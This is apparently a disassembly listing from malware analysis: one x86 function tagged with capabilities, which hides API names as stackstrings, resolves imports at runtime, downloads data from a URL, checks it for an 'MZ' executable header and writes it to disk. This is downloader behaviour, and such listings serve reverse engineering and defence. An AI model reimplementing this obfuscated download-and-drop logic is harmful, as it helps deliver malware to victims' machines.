Function at 0x401c41
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
jmp 0x412000
sub esp, 0x468
push ebx
push ebp
push esi
lea eax, [esp + 0x1c]
push edi
mov edi, dword [0x4512a4]
lea ecx, [esp + 0x2c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x34], 0x6b
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x46
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x30], 0x6c
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call edi
mov esi, dword [0x4512a0]
push eax
call esi
mov dword [esp + 0x10], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x3c]
push edx
push eax
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0
call edi
push eax
call esi
mov dword [esp + 0x74], eax
xor eax, eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x6c], eax
mov eax, 1
push 0x447700
mov dword [esp + 0x68], eax
mov dword [esp + 0x64], eax
call edi
mov ebp, eax
mov byte [esp + 0x4c], 0x49
lea ecx, [esp + 0x4c]
mov byte [esp + 0x4d], 0x6e
push ecx
push ebp
mov byte [esp + 0x56], 0x74
mov byte [esp + 0x57], bl
mov byte [esp + 0x58], 0x72
mov byte [esp + 0x59], 0x6e
mov byte [esp + 0x5a], bl
mov byte [esp + 0x5b], 0x74
mov byte [esp + 0x5c], 0x4f
mov byte [esp + 0x5d], 0x70
mov byte [esp + 0x5e], bl
mov byte [esp + 0x5f], 0x6e
mov byte [esp + 0x60], 0x41
mov byte [esp + 0x61], 0
call esi
push 0
push 0
push 0
push 0
push 0x4476e0
call eax
mov ebx, eax
test ebx, ebx
jne 0x4121b2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x468
ret
push 0x4476cc
push ebp
call esi
mov edx, dword [esp + 0x47c]
push 0
push 0x80000000
push 0
push 0
push edx
push ebx
call eax
mov edi, eax
test edi, edi
mov dword [esp + 0x68], edi
jne 0x4121e7
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x468
ret
push 0x4476b8
push ebp
call esi
push 0
push 0
push 2
mov dword [esp + 0x7c], eax
mov eax, dword [esp + 0x48c]
push 0
push 0
push 0x40000000
push eax
call dword [esp + 0x2c]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x412290
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x78]
lea edx, [esp + 0x78]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x68]
lea ecx, [esp + 0x5c]
push ecx
push 0x400
push edx
push eax
call dword [esp + 0x80]
mov eax, dword [esp + 0x64]
xor edi, edi
cmp eax, edi
je 0x412252
cmp word [esp + 0x78], 0x5a4d
jne 0x41227d
mov edx, dword [esp + 0x5c]
lea ecx, [esp + 0x6c]
push edi
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x80]
push edx
push eax
push ecx
mov dword [esp + 0x78], edi
call dword [esp + 0x88]
cmp dword [esp + 0x5c], edi
jbe 0x412281
jmp 0x412217
mov dword [esp + 0x60], edi
mov edx, dword [esp + 0x10]
push edx
call dword [0x4512b4]
mov edi, dword [esp + 0x68]
push 0x4476a0
push ebp
call esi
mov esi, eax
push edi
call esi
push ebx
call esi
push ebp
call dword [0x4512b0]
mov ecx, dword [esp + 0x60]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x468
ret